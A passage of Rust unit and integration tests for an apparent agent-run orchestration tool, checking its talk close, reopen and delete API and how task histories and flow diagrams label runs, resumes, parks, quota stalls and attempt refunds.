16898            on_disk.turns
16899        );
16900    }
16901
16902    #[tokio::test]
16903    async fn talk_close_makes_the_talk_refuse_further_turns() {
16904        let f = Fixture::start().await;
16905        let id = seed_talk(&f, "20260904-014455-cd34", "open");
16906
16907        let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
16908        assert_eq!(closed.status, 200, "{}", closed.body);
16909        assert_eq!(closed.json()["status"], "closed");
16910
16911        // Idempotent: closing an already-closed talk is not an error.
16912        let closed_again = f.post(&format!("/api/talks/{id}/close"), None).await;
16913        assert_eq!(closed_again.status, 200);
16914        assert_eq!(closed_again.json()["status"], "closed");
16915
16916        let said = f
16917            .post(
16918                &format!("/api/talks/{id}/say"),
16919                Some(r#"{"text":"too late"}"#),
16920            )
16921            .await;
16922        assert_eq!(said.status, 409, "{}", said.body);
16923    }
16924
16925    #[tokio::test]
16926    async fn talk_close_refuses_pending_input_with_conflict_and_preserves_it() {
16927        let f = Fixture::start().await;
16928        let id = seed_talk(&f, "20260904-014455-cd34", "open");
16929        let store = f.talks();
16930        let mut queued = store.get(&id).expect("talk");
16931        for automatic in [false, true] {
16932            if automatic {
16933                talk::queue_once(&mut queued, &store, "automatic notice", "notice-key")
16934                    .expect("queue automatic input");
16935            } else {
16936                talk::queue(&mut queued, &store, "queued send", Vec::new())
16937                    .expect("queue operator input");
16938            }
16939            let before = serde_json::to_value(store.get(&id).expect("queued talk")).unwrap();
16940            let refused = f.post(&format!("/api/talks/{id}/close"), None).await;
16941            assert_eq!(refused.status, 409, "{}", refused.body);
16942            assert!(refused.body.contains("pending input"), "{}", refused.body);
16943            assert_eq!(
16944                serde_json::to_value(store.get(&id).expect("preserved talk")).unwrap(),
16945                before,
16946                "a close refusal must preserve the entire record"
16947            );
16948            talk::clear_pending(&mut queued, &store).expect("clear saved input");
16949        }
16950        let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
16951        assert_eq!(closed.status, 200, "{}", closed.body);
16952        assert_eq!(closed.json()["status"], "closed");
16953    }
16954
16955    #[tokio::test]
16956    async fn talk_reopen_lets_a_closed_talk_take_turns_again_and_is_idempotent() {
16957        let (_tmp, _repo, f) = talk_fixture().await;
16958        let id = f.post("/api/talks", None).await.json()["id"]
16959            .as_str()
16960            .expect("id")
16961            .to_owned();
16962        let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
16963        assert_eq!(closed.status, 200, "{}", closed.body);
16964
16965        let reopened = f.post(&format!("/api/talks/{id}/reopen"), None).await;
16966        assert_eq!(reopened.status, 200, "{}", reopened.body);
16967        assert_eq!(reopened.json()["status"], "open");
16968
16969        // Idempotent: reopening an already-open talk is not an error.
16970        let reopened_again = f.post(&format!("/api/talks/{id}/reopen"), None).await;
16971        assert_eq!(reopened_again.status, 200);
16972        assert_eq!(reopened_again.json()["status"], "open");
16973
16974        let said = f
16975            .post(
16976                &format!("/api/talks/{id}/say"),
16977                Some(r#"{"text":"still there?"}"#),
16978            )
16979            .await;
16980        assert_eq!(
16981            said.status, 202,
16982            "a reopened talk accepts turns again: {}",
16983            said.body
16984        );
16985    }
16986
16987    #[tokio::test]
16988    async fn talk_reopen_on_an_unknown_id_is_404() {
16989        let f = Fixture::start().await;
16990        let res = f.post("/api/talks/nonexistent-id/reopen", None).await;
16991        assert_eq!(res.status, 404, "{}", res.body);
16992    }
16993
16994    #[tokio::test]
16995    async fn talk_delete_removes_the_talk_from_disk_and_the_list() {
16996        let f = Fixture::start().await;
16997        let id = seed_talk(&f, "20260904-014455-ef56", "closed");
16998
16999        let deleted = f.delete(&format!("/api/talks/{id}")).await;
17000        assert_eq!(deleted.status, 204, "{}", deleted.body);
17001
17002        let after = f.get(&format!("/api/talks/{id}")).await;
17003        assert_eq!(after.status, 404, "{}", after.body);
17004
17005        let listed = f.get("/api/talks").await.json();
17006        assert!(
17007            listed.as_array().unwrap().iter().all(|t| t["id"] != id),
17008            "a deleted talk must not linger in the list: {listed}"
17009        );
17010    }
17011
17012    #[tokio::test]
17013    async fn talk_delete_on_an_unknown_id_is_404() {
17014        let f = Fixture::start().await;
17015        let res = f.delete("/api/talks/nonexistent-id").await;
17016        assert_eq!(res.status, 404, "{}", res.body);
17017    }
17018
17019    /// A task's page lists every run it ever had, in order, and says what kind
17020    /// of attempt each was - including a resume, which re-pushes the same run
17021    /// id, and a run whose record this build cannot read.
17022    #[tokio::test]
17023    async fn task_detail_lists_every_run_with_what_kind_of_attempt_it_was() {
17024        let f = Fixture::start().await;
17025        let (a, b, gone) = (
17026            "20260902-140501-aaaa",
17027            "20260902-140502-bbbb",
17028            "20260902-140503-cccc",
17029        );
17030        write_run(&f.runs(), a, RunStatus::Stalled);
17031        let mut review = RunState::new(
17032            PathBuf::from("/repo/magi"),
17033            "main".to_owned(),
17034            "0123456789abcdef".to_owned(),
17035            "Review the work already on branch `magi/aaaa/A`. There is no task statement."
17036                .to_owned(),
17037            Config::default(),
17038        );
17039        review.id = b.to_owned();
17040        review.status = RunStatus::Merged;
17041        write_state(&f.runs(), &review);
17042
17043        let mut task = Task::new(
17044            "retry".to_owned(),
17045            "Do the thing".to_owned(),
17046            PathBuf::from("/repo/magi"),
17047            Source::Human,
17048        );
17049        task.start(a.to_owned());
17050        task.stall("quota");
17051        task.start(a.to_owned());
17052        task.start(b.to_owned());
17053        task.start(gone.to_owned());
17054        // This fixture models an older queue file with repeated run entries.
17055        task.runs = [a, a, b, gone].map(str::to_owned).to_vec();
17056        f.queue().put(&mut task).expect("file the task");
17057
17058        let res = f.get(&format!("/api/queue/{}", task.id)).await;
17059        assert_eq!(res.status, 200, "{}", res.body);
17060        let v = res.json();
17061        let h = v["history"].as_array().expect("history");
17062        assert_eq!(h.len(), 4, "{v}");
17063        assert_eq!(h[0]["kind"], "competition");
17064        assert_eq!(h[0]["status"], "stalled");
17065        assert_eq!(h[0]["provisional"], true, "a stall is never a decision");
17066        assert_eq!(h[1]["kind"], "resume", "{v}");
17067        assert!(
17068            h[0]["outcome"]
17069                .as_str()
17070                .unwrap()
17071                .contains("unknown. Pass #2"),
17072            "an earlier pass of a resumed run must not claim the final outcome: {v}"
17073        );
17074        assert!(
17075            !h[1]["outcome"].as_str().unwrap().contains("unknown."),
17076            "{v}"
17077        );
17078        assert!(
17079            !h[0]["outcome"].as_str().unwrap().contains("parked it"),
17080            "an unrecorded cause must not be narrated as an operator park: {v}"
17081        );
17082        assert_eq!(h[2]["kind"], "review");
17083        assert!(
17084            h[2]["description"]
17085                .as_str()
17086                .unwrap()
17087                .contains("magi/aaaa/A")
17088        );
17089        assert_eq!(h[2]["status"], "merged");
17090        assert_eq!(h[3]["readable"], false, "an unreadable run is shown");
17091        assert_eq!(v["runs_unreadable"], 1);
17092        let nodes = v["flow"]["nodes"].as_array().expect("flow nodes");
17093        assert_eq!(nodes.len(), 6, "start + four passes + end: {v}");
17094        assert_eq!(nodes[4]["note"], "unreadable");
17095        assert_eq!(v["flow"]["edges"].as_array().unwrap().len(), 5);
17096        assert_eq!(v["instruction"], "Do the thing");
17097        assert!(v["attempts_note"].as_str().unwrap().contains("handed back"));
17098
17099        // The run's own page links back to the task.
17100        let run = f.get(&format!("/api/runs/{a}")).await.json();
17101        assert_eq!(run["task"]["id"], task.id.as_str(), "{run}");
17102
17103        assert_eq!(f.get("/api/queue/nosuchtask").await.status, 404);
17104    }
17105
17106    fn flow_run(status: RunStatus, edit: impl FnOnce(&mut RunState)) -> RunState {
17107        let mut s = RunState::new(
17108            PathBuf::from("/repo/magi"),
17109            "main".to_owned(),
17110            "0123456789abcdef".to_owned(),
17111            "Do it".to_owned(),
17112            Config::default(),
17113        );
17114        s.status = status;
17115        edit(&mut s);
17116        s
17117    }
17118
17119    fn flow_task(runs: &[&str]) -> Task {
17120        let mut t = Task::new(
17121            "t".to_owned(),
17122            "Do it".to_owned(),
17123            PathBuf::from("/repo/magi"),
17124            Source::Human,
17125        );
17126        for r in runs {
17127            t.start((*r).to_owned());
17128        }
17129        // Synthetic flows without RunPass records model legacy queue data.
17130        t.runs = runs.iter().map(|r| (*r).to_owned()).collect();
17131        t
17132    }
17133
17134    fn flow_for(task: &Task, states: &[(&str, Option<RunState>)]) -> FlowView {
17135        let h = task_history(task, |id| {
17136            states
17137                .iter()
17138                .find(|(i, _)| *i == id)
17139                .and_then(|(_, s)| s.clone())
17140        });
17141        task_flow(task, &h, 5, None)
17142    }
17143
17144    #[test]
17145    fn flow_start_times_use_each_pass_not_run_updates_or_settlements() {
17146        let queued = "2026-10-10T00:00:00Z".parse().unwrap();
17147        let created = "2026-10-10T01:00:00Z".parse().unwrap();
17148        let first = "2026-10-10T02:00:00Z".parse().unwrap();
17149        let resumed = "2026-10-10T03:00:00Z".parse().unwrap();
17150        let held = "2026-10-10T04:00:00Z".parse().unwrap();
17151        let run = flow_run(RunStatus::Implementing, |s| {
17152            s.created_at = created;
17153            s.passes = vec![recorded_pass(0, None), recorded_pass(1, None)];
17154            s.passes[0].started_at = first;
17155            s.passes[1].started_at = resumed;
17156        });
17157        let mut task = flow_task(&[RUN_X, RUN_X]);
17158        task.created_at = queued;
17159        task.passes = vec![settled_pass(RUN_X, 0, crate::queue::PassCost::Refunded)];
17160        task.status = TaskStatus::Held;
17161        task.held_at = Some(held);
17162        let flow = flow_for(&task, &[(RUN_X, Some(run))]);
17163        assert_eq!(
17164            flow.nodes.iter().map(|n| n.started_at).collect::<Vec<_>>(),
17165            vec![Some(queued), Some(first), Some(resumed), Some(held)]
17166        );
17167        assert!(flow.nodes.iter().all(|n| n.time_expected));
17168        let json = serde_json::to_value(&flow).unwrap();
17169        assert_eq!(json["nodes"][2]["started_at"], resumed.to_string());
17170        assert_eq!(json["nodes"][2]["time_expected"], true);
17171    }
17172
17173    #[test]
17174    fn flow_start_times_leave_legacy_resumes_unreadable_and_status_starts_unknown() {
17175        let created = "2026-10-10T01:00:00Z".parse().unwrap();
17176        let run = flow_run(RunStatus::Implementing, |s| s.created_at = created);
17177        let mut task = flow_task(&[RUN_X, RUN_X, "missing"]);
17178        // These timestamps are not the start of the current status.
17179        task.held_at = Some(created);
17180        task.blocked_at = Some(created);
17181        for status in [
17182            TaskStatus::Queued,
17183            TaskStatus::Running,
17184            TaskStatus::Blocked,
17185            TaskStatus::Done,
17186            TaskStatus::Failed,
17187            TaskStatus::Parked,
17188            TaskStatus::Held,
17189        ] {
17190            task.status = status;
17191            if status == TaskStatus::Held {
17192                task.held_at = None;
17193            }
17194            let flow = flow_for(&task, &[(RUN_X, Some(run.clone()))]);
17195            assert_eq!(flow.nodes[1].started_at, Some(created));
17196            assert_eq!(flow.nodes[2].started_at, None, "legacy resume");
17197            assert_eq!(flow.nodes[3].started_at, None, "unreadable run");
17198            assert_eq!(flow.nodes[4].started_at, None, "{status:?}");
17199            let json = serde_json::to_value(&flow).unwrap();
17200            assert!(json["nodes"][3]["started_at"].is_null());
17201            assert_eq!(json["nodes"][3]["time_expected"], true);
17202        }
17203    }
17204
17205    #[test]
17206    fn flow_context_links_do_not_expect_start_times() {
17207        let mut task = flow_task(&[]);
17208        task.source = Source::Agent {
17209            run: "chat-id".to_owned(),
17210            node: "chat".to_owned(),
17211        };
17212        let origin = followup_origin(&fu(None), |_| None, |_| None);
17213        let flow = task_flow(&task, &[], 5, Some(&origin));
17214        for node in &flow.nodes[..2] {
17215            assert!(!node.time_expected);
17216            assert_eq!(node.started_at, None);
17217        }
17218        assert!(flow.nodes[2].time_expected);
17219    }
17220
17221    fn fu(origin_task: Option<&str>) -> crate::queue::FollowUp {
17222        crate::queue::FollowUp {
17223            run: "20260901-000000-aaaa".to_owned(),
17224            origin_task: origin_task.map(str::to_owned),
17225            pr: "https://example.com/o/r/pull/1".to_owned(),
17226            findings: ["R3-1-1", "R3-1-2", "R3-1-3", "R3-1-4"]
17227                .map(str::to_owned)
17228                .to_vec(),
17229            generation: 1,
17230        }
17231    }
17232
17233    fn parent_task() -> Task {
17234        let mut p = flow_task(&[]);
17235        p.title = "Parent title".to_owned();
17236        p.status = TaskStatus::Done;
17237        p
17238    }
17239
17240    #[test]
17241    fn flow_opens_with_the_parent_task_of_a_followup() {
17242        let p = parent_task();
17243        let pid = p.id.clone();
17244        let o = followup_origin(&fu(Some(&pid)), |i| (i == pid).then(|| p.clone()), |_| None);
17245        let f = task_flow(&flow_task(&[]), &[], 5, Some(&o));
17246        let n = &f.nodes[0];
17247        assert_eq!((n.kind, n.key.as_str()), ("followup", "origin"));
17248        assert_eq!(
17249            n.label,
17250            format!("Follow-up of {}", crate::queue::short(&pid))
17251        );
17252        assert_eq!(n.detail.as_deref(), Some("Parent title"));
17253        assert_eq!(n.status, Some("done"));
17254        assert_eq!(n.status_of, "task");
17255        assert_eq!(n.href.as_deref(), Some(format!("#/tasks/{pid}").as_str()));
17256        assert_eq!(f.nodes[1].key, "start");
17257        assert_eq!(f.edges[0].from, "origin");
17258        assert_eq!(
17259            f.edges[0].label,
17260            "open findings R3-1-1, R3-1-2, R3-1-3 +1 more"
17261        );
17262    }
17263
17264    #[test]
17265    fn flow_falls_back_to_the_merged_run_when_the_parent_is_gone() {
17266        let o = followup_origin(
17267            &fu(Some("gone")),
17268            |_| None,
17269            |_| {
17270                Some(RunState::new(
17271                    std::path::PathBuf::from("."),
17272                    "main".to_owned(),
17273                    "0".to_owned(),
17274                    "t".to_owned(),
17275                    crate::config::Config::default(),
17276                ))
17277            },
17278        );
17279        assert!(o.parent.is_none());
17280        let f = task_flow(&flow_task(&[]), &[], 5, Some(&o));
17281        let n = &f.nodes[0];
17282        assert_eq!(n.status_of, "run");
17283        assert_eq!(n.href.as_deref(), Some("#/runs/20260901-000000-aaaa"));
17284        assert!(n.label.starts_with("Follow-up of run "), "{}", n.label);
17285    }
17286
17287    #[test]
17288    fn flow_followup_with_nothing_readable_has_no_link() {
17289        let o = followup_origin(&fu(None), |_| panic!("no parent id to look up"), |_| None);
17290        let f = task_flow(&flow_task(&[]), &[], 5, Some(&o));
17291        let n = &f.nodes[0];
17292        assert_eq!(n.href, None);
17293        assert_eq!(n.note, Some("unreadable"));
17294        assert!(!n.readable);
17295    }
17296
17297    #[test]
17298    fn flow_keeps_the_chat_first_only_when_the_source_is_a_chat() {
17299        let o = followup_origin(&fu(None), |_| None, |_| None);
17300        let mut t = flow_task(&[]);
17301        t.origin_chat = Some("c1".to_owned());
17302        let f = task_flow(&t, &[], 5, Some(&o));
17303        assert_eq!(f.nodes[0].kind, "followup", "inherited chat adds no node");
17304        t.source = Source::Agent {
17305            run: "c1".to_owned(),
17306            node: crate::queue::CHAT_NODE.to_owned(),
17307        };
17308        let f = task_flow(&t, &[], 5, Some(&o));
17309        assert_eq!((f.nodes[0].kind, f.nodes[1].kind), ("chat", "followup"));
17310        assert_eq!(
17311            (f.edges[0].from.as_str(), f.edges[0].to.as_str()),
17312            ("chat", "origin")
17313        );
17314    }
17315
17316    #[test]
17317    fn followup_origin_encodes_ids_and_survives_a_self_reference() {
17318        let mut p = parent_task();
17319        p.id = "a b/c".to_owned();
17320        let o = followup_origin(&fu(Some("a b/c")), |_| Some(p.clone()), |_| None);
17321        assert_eq!(o.parent.expect("parent").href, "#/tasks/a%20b%2Fc");
17322    }
17323
17324    #[test]
17325    fn flow_opens_with_the_chat_that_queued_the_task() {
17326        let mut t = flow_task(&[]);
17327        t.source = Source::Agent {
17328            run: "a b/c".to_owned(),
17329            node: crate::queue::CHAT_NODE.to_owned(),
17330        };
17331        let f = flow_for(&t, &[]);
17332        assert_eq!(f.nodes[0].key, "chat");
17333        assert_eq!(f.nodes[0].kind, "chat");
17334        assert_eq!(
17335            f.nodes[0].label,
17336            format!("Chat {}", crate::queue::short("a b/c"))
17337        );
17338        assert_eq!(f.nodes[0].href.as_deref(), Some("#/chat/a%20b%2Fc"));
17339        assert_eq!(f.nodes[1].key, "start");
17340        assert_eq!(
17341            f.edges[0],
17342            FlowEdge {
17343                from: "chat".to_owned(),
17344                to: "start".to_owned(),
17345                label: "queued from chat".to_owned(),
17346                attempt: AttemptCost::None,
17347            }
17348        );
17349    }
17350
17351    #[test]
17352    fn flow_has_no_chat_box_for_other_sources() {
17353        for source in [
17354            Source::Human,
17355            Source::Issue {
17356                number: 3,
17357                repo: "o/r".to_owned(),
17358            },
17359            Source::Agent {
17360                run: "20260904-014455-ab12".to_owned(),
17361                node: "implement".to_owned(),
17362            },
17363        ] {
17364            let mut t = flow_task(&[]);
17365            t.source = source;
17366            let f = flow_for(&t, &[]);
17367            assert_eq!(f.nodes[0].key, "start");
17368            assert!(f.nodes.iter().all(|n| n.kind != "chat"));
17369            assert!(f.edges.iter().all(|e| e.from != "chat"));
17370        }
17371    }
17372
17373    const FA: &str = "20260902-140501-aaaa";
17374    const FB: &str = "20260902-140502-bbbb";
17375
17376    #[test]
17377    fn flow_follows_blocked_retry_merged_to_done() {
17378        let mut t = flow_task(&[FA, FB]);
17379        t.status = TaskStatus::Done;
17380        let f = flow_for(
17381            &t,
17382            &[
17383                (FA, Some(flow_run(RunStatus::Blocked, |_| {}))),
17384                (FB, Some(flow_run(RunStatus::Merged, |_| {}))),
17385            ],
17386        );
17387        let keys: Vec<_> = f.nodes.iter().map(|n| n.key.as_str()).collect();
17388        assert_eq!(keys, ["start", "run-1", "run-2", "end"]);
17389        assert_eq!(f.edges.len(), 3);
17390        assert_eq!(f.edges[0].label, "claimed");
17391        assert_eq!(f.edges[1].label, "blocked, attempt spent \u{2192} retry");
17392        assert_eq!(f.edges[1].attempt, AttemptCost::Spent);
17393        assert_eq!(f.edges[2].label, "merged \u{2192} done");
17394        assert_eq!(
17395            f.nodes[2].href.as_deref(),
17396            Some("#/runs/20260902-140502-bbbb")
17397        );
17398        assert!(f.nodes[2].decided);
17399    }
17400
17401    #[test]
17402    fn flow_quota_stall_is_refunded_and_never_decided_then_resumes() {
17403        let quota = || {
17404            flow_run(RunStatus::Stalled, |s| {
17405                s.quota.push(crate::run::QuotaLoss {
17406                    cause: crate::agent::QuotaCause::UsageLimit,
17407                    agent: String::new(),
17408                    seat: "judge-1".to_owned(),
17409                    node: "judge".to_owned(),
17410                    at: Timestamp::now(),
17411                    reset: None,
17412                })
17413            })
17414        };
17415        let mut t = flow_task(&[FA, FA]);
17416        t.status = TaskStatus::Queued;
17417        let f = flow_for(&t, &[(FA, Some(quota()))]);
17418        assert_eq!(f.nodes.len(), 4, "a repeated id is one node per pass");
17419        assert_eq!(f.nodes[1].note, Some("interrupted"));
17420        assert_eq!(
17421            f.nodes[1].status, None,
17422            "no outcome copied onto an earlier pass"
17423        );
17424        assert_eq!(
17425            f.edges[1].attempt,
17426            AttemptCost::Unknown,
17427            "a resume does not prove the earlier pass was refunded"
17428        );
17429        assert!(f.edges[1].label.contains("resume the same run"));
17430        assert_eq!(f.edges[2].attempt, AttemptCost::Unknown);
17431        assert_eq!(
17432            f.edges[2].label,
17433            "stalled after a resume, refund unknown \u{2192} queued"
17434        );
17435        assert!(!f.nodes[2].decided, "a stall is not a decision");
17436        assert_eq!(f.nodes[2].note, Some("no verdict"));
17437    }
17438
17439    #[test]
17440    fn flow_single_pass_quota_stall_is_refunded() {
17441        let t = flow_task(&[FA]);
17442        let f = flow_for(
17443            &t,
17444            &[(
17445                FA,
17446                Some(flow_run(RunStatus::Stalled, |s| {
17447                    s.quota.push(crate::run::QuotaLoss {
17448                        cause: crate::agent::QuotaCause::UsageLimit,
17449                        agent: String::new(),
17450                        seat: "judge-1".to_owned(),
17451                        node: "judge".to_owned(),
17452                        at: Timestamp::now(),
17453                        reset: None,
17454                    })
17455                })),
17456            )],
17457        );
17458        assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
17459    }
17460
17461    #[test]
17462    fn flow_parked_refunds_and_stall_without_quota_spends() {
17463        let mut t = flow_task(&[FA]);
17464        t.status = TaskStatus::Queued;
17465        let f = flow_for(
17466            &t,
17467            &[(
17468                FA,
17469                Some(flow_run(RunStatus::Implementing, |s| s.parked = true)),
17470            )],
17471        );
17472        assert_eq!(f.edges[1].label, "parked, attempt refunded \u{2192} queued");
17473        assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
17474        let f = flow_for(&t, &[(FA, Some(flow_run(RunStatus::Stalled, |_| {})))]);
17475        assert_eq!(f.edges[1].attempt, AttemptCost::Spent);
17476        assert!(!f.nodes[1].decided);
17477    }
17478
17479    #[test]
17480    fn flow_keeps_an_unreadable_run_as_its_own_node() {
17481        let t = flow_task(&[FA, FB]);
17482        let f = flow_for(&t, &[(FB, Some(flow_run(RunStatus::Blocked, |_| {})))]);
17483        assert_eq!(f.nodes[1].note, Some("unreadable"));
17484        assert!(!f.nodes[1].readable);
17485        assert_eq!(f.nodes[1].run_kind, Some("unknown"));
17486        assert_eq!(f.edges[1].attempt, AttemptCost::Unknown);
17487    }
17488
17489    #[test]
17490    fn flow_names_the_branch_of_a_review_only_run() {
17491        let t = flow_task(&[FA]);
17492        let f = flow_for(
17493            &t,
17494            &[(
17495                FA,
17496                Some(flow_run(RunStatus::Merged, |s| {
17497                    s.instruction = "Review the work already on branch `magi/x/A`. Go.".to_owned()
17498                })),
17499            )],
17500        );
17501        assert_eq!(f.edges[0].label, "review-only run of branch magi/x/A");
17502        assert_eq!(
17503            f.nodes[1].detail.as_deref(),
17504            Some("review-only run of branch magi/x/A")
17505        );
17506    }
17507
17508    #[test]
17509    fn flow_ends_held_with_the_pr_left_open_and_flags_hand_edits() {
17510        let mut t = flow_task(&[FA]);
17511        t.status = TaskStatus::Held;
17512        let pr = crate::run::PrRecord {
17513            url: "https://example.test/pr/1".to_owned(),
17514            number: 1,
17515            state: "open".to_owned(),
17516            checks: "green".to_owned(),
17517            round: 0,
17518            rounds: 3,
17519            red_at_merge: Vec::new(),
17520        };
17521        let blocked = flow_run(RunStatus::Blocked, |s| s.pr = Some(pr));
17522        let f = flow_for(&t, &[(FA, Some(blocked.clone()))]);
17523        assert_eq!(f.edges[1].label, "blocked, PR left open \u{2192} held");
17524        t.status = TaskStatus::Done;
17525        let f = flow_for(&t, &[(FA, Some(blocked))]);
17526        assert_eq!(f.edges[1].label, "closed by hand: task is done");
17527    }
17528
17529    #[test]
17530    fn flow_with_no_runs_goes_from_queued_to_queued() {
17531        let t = flow_task(&[]);
17532        let f = flow_for(&t, &[]);
17533        assert_eq!(f.nodes.len(), 2);
17534        assert_eq!(f.edges.len(), 1);
17535        assert_eq!(f.edges[0].label, "no run yet \u{2192} queued");
17536        assert_eq!(f.edges[0].attempt, AttemptCost::None);
17537    }
17538
17539    /// A run parked mid-flight keeps a non-terminal status; the page must
17540    /// still say why it stopped and that the attempt came back.
17541    #[test]
17542    fn a_parked_non_terminal_run_is_explained_as_parked() {
17543        let mut s = RunState::new(
17544            PathBuf::from("/repo/magi"),
17545            "main".to_owned(),
17546            "0123456789abcdef".to_owned(),
17547            "Do it".to_owned(),
17548            Config::default(),
17549        );
17550        s.status = RunStatus::Implementing;
17551        s.parked = true;
17552        let task = Task::new(
17553            "t".to_owned(),
17554            "Do it".to_owned(),
17555            PathBuf::from("/repo/magi"),
17556            Source::Human,
17557        );
17558        let v = task_run_view(
17559            "20260902-140501-aaaa",
17560            Some(&s),
17561            RunSlot {
17562                n: 1,
17563                resumed: false,
17564                resumed_later: None,
17565                prior: None,
17566                last: true,
17567                ..RunSlot::default()
17568            },
17569            &task,
17570        );
17571        assert!(v.outcome.contains("Parked"), "{}", v.outcome);
17572    }
17573
17574    fn earlier_pass_view(edit: impl FnOnce(&mut RunState)) -> TaskRunView {
17575        let mut s = flow_run(RunStatus::Implementing, edit);
17576        s.parked = false;
17577        let task = flow_task(&["20260902-140501-aaaa", "20260902-140501-aaaa"]);
17578        task_run_view(
17579            "20260902-140501-aaaa",
17580            Some(&s),
17581            RunSlot {
17582                n: 1,
17583                resumed: false,
17584                resumed_later: Some(2),
17585                prior: None,
17586                last: false,
17587                ..RunSlot::default()
17588            },
17589            &task,
17590        )
17591    }
17592
17593    #[test]
17594    fn an_earlier_pass_with_no_recorded_cause_is_unknown_not_parked() {
17595        let v = earlier_pass_view(|_| {});
17596        assert!(v.outcome.contains("not recorded"), "{}", v.outcome);
17597        assert!(v.outcome.contains("unknown"), "{}", v.outcome);
17598        assert!(!v.outcome.contains("parked it"), "{}", v.outcome);
17599        assert!(!v.outcome.contains("handed back."), "{}", v.outcome);
17600        assert_eq!(v.exit, RunExit::Interrupted);
17601        assert_eq!(v.attempt, AttemptCost::Unknown);
17602    }
17603
17604    #[test]
17605    fn an_earlier_pass_with_a_recorded_rate_limit_does_not_claim_it_as_the_cause() {
17606        let v = earlier_pass_view(|s| {
17607            s.quota.push(crate::run::QuotaLoss {
17608                cause: crate::agent::QuotaCause::UsageLimit,
17609                agent: String::new(),
17610                seat: "judge-1".to_owned(),
17611                node: "judge".to_owned(),
17612                at: Timestamp::now(),
17613                reset: None,
17614            });
17615        });
17616        assert!(v.outcome.contains("may or may not"), "{}", v.outcome);
17617        assert!(v.outcome.contains("unknown"), "{}", v.outcome);
17618        assert_eq!(v.attempt, AttemptCost::Unknown);
17619    }
17620
17621    #[test]
17622    fn the_current_pass_states_its_recorded_cause_and_cost() {
17623        let slot = || RunSlot {
17624            n: 1,
17625            resumed: false,
17626            resumed_later: None,
17627            prior: None,
17628            last: true,
17629            ..RunSlot::default()
17630        };
17631        let task = flow_task(&["20260902-140501-aaaa"]);
17632        let parked = flow_run(RunStatus::Implementing, |s| s.parked = true);
17633        let v = task_run_view("20260902-140501-aaaa", Some(&parked), slot(), &task);
17634        assert_eq!(
17635            (v.exit, v.attempt),
17636            (RunExit::Parked, AttemptCost::Refunded)
17637        );
17638        let spent = flow_run(RunStatus::Blocked, |_| {});
17639        let v = task_run_view("20260902-140501-aaaa", Some(&spent), slot(), &task);
17640        assert_eq!(v.attempt, AttemptCost::Spent);
17641        assert!(v.outcome.contains("spent an attempt"), "{}", v.outcome);
17642    }
17643
17644    fn recorded_pass(index: usize, end: Option<crate::run::PassEnd>) -> crate::run::RunPass {
17645        crate::run::RunPass {
17646            index,
17647            started_at: Timestamp::now(),
17648            resumed: index > 0,
17649            ended_at: end.as_ref().map(|_| Timestamp::now()),
17650            end,
17651            task_entry: true,
17652        }
17653    }
17654
17655    fn parked(cause: crate::run::ParkCause) -> Option<crate::run::PassEnd> {
17656        Some(crate::run::PassEnd::Parked { cause })
17657    }
17658
17659    fn upgrade_cause() -> crate::run::ParkCause {
17660        crate::run::ParkCause::Upgrade {
17661            from: "0.121.0".to_owned(),
17662            to: Some("0.121.1".to_owned()),
17663        }
17664    }
17665
17666    fn settled_pass(
17667        run: &str,
17668        index: usize,
17669        cost: crate::queue::PassCost,
17670    ) -> crate::queue::TaskPass {
17671        crate::queue::TaskPass {
17672            run: run.to_owned(),
17673            pass_index: index,
17674            started_at: None,
17675            cost,
17676            attempts_after: 1,
17677            settled_at: Timestamp::now(),
17678            parked: None,
17679        }
17680    }
17681
17682    const RUN_X: &str = "20261011-223708-4334";
17683
17684    #[test]
17685    fn an_upgrade_pause_and_its_resume_are_two_passes_of_one_run_and_one_attempt() {
17686        use crate::queue::PassCost;
17687        let run = flow_run(RunStatus::Implementing, |s| {
17688            s.passes = vec![
17689                recorded_pass(0, parked(upgrade_cause())),
17690                recorded_pass(1, None),
17691            ];
17692        });
17693        let mut task = flow_task(&[RUN_X, RUN_X]);
17694        task.attempts = 1;
17695        task.passes = vec![settled_pass(RUN_X, 0, PassCost::Refunded)];
17696        let h = task_history(&task, |_| Some(run.clone()));
17697        assert_eq!(h.len(), 2);
17698        assert_eq!(h[0].kind, "competition");
17699        assert_eq!(h[1].kind, "resume");
17700        assert_eq!(
17701            (h[0].exit, h[0].attempt),
17702            (RunExit::Parked, AttemptCost::Refunded)
17703        );
17704        assert!(
17705            h[0].outcome.contains("upgrade 0.121.0 \u{2192} 0.121.1"),
17706            "{}",
17707            h[0].outcome
17708        );
17709        assert!(h[0].outcome.contains("handed back"), "{}", h[0].outcome);
17710        assert!(
17711            h[0].outcome.contains("pass #2 resumed the same run"),
17712            "{}",
17713            h[0].outcome
17714        );
17715        assert!(
17716            h[0].outcome.contains("pass 1 of 2 over run"),
17717            "{}",
17718            h[0].outcome
17719        );
17720        assert!(!h[0].outcome.contains("not recorded"), "{}", h[0].outcome);
17721        assert_eq!(
17722            h[0].exit_label,
17723            "parked for upgrade 0.121.0 \u{2192} 0.121.1, attempt refunded"
17724        );
17725        let f = task_flow(&task, &h, 2, None);
17726        // Two passes of one run, one of two attempts consumed.
17727        assert_eq!((f.passes, f.runs, f.attempts, f.max_attempts), (2, 1, 1, 2));
17728        assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
17729        assert!(
17730            f.edges[1].label.contains("upgrade 0.121.0"),
17731            "{}",
17732            f.edges[1].label
17733        );
17734        assert!(
17735            f.edges[1].label.contains("resume the same run"),
17736            "{}",
17737            f.edges[1].label
17738        );
17739        assert_eq!(f.nodes[1].note, Some("parked"));
17740    }
17741
17742    #[test]
17743    fn distinct_run_ids_render_all_recorded_passes_in_time_order() {
17744        let mut a = flow_run(RunStatus::Implementing, |s| {
17745            s.passes = vec![
17746                recorded_pass(0, parked(upgrade_cause())),
17747                recorded_pass(1, None),
17748            ];
17749        });
17750        let mut b = flow_run(RunStatus::Failed, |s| {
17751            s.passes = vec![recorded_pass(0, None)];
17752        });
17753        a.passes[0].started_at = "2026-10-10T00:00:00Z".parse().unwrap();
17754        b.passes[0].started_at = "2026-10-10T01:00:00Z".parse().unwrap();
17755        a.passes[1].started_at = "2026-10-10T02:00:00Z".parse().unwrap();
17756        let mut task = flow_task(&[]);
17757        task.start("a".into());
17758        task.start("b".into());
17759        task.start("a".into());
17760        assert_eq!(task.runs, ["b", "a"]);
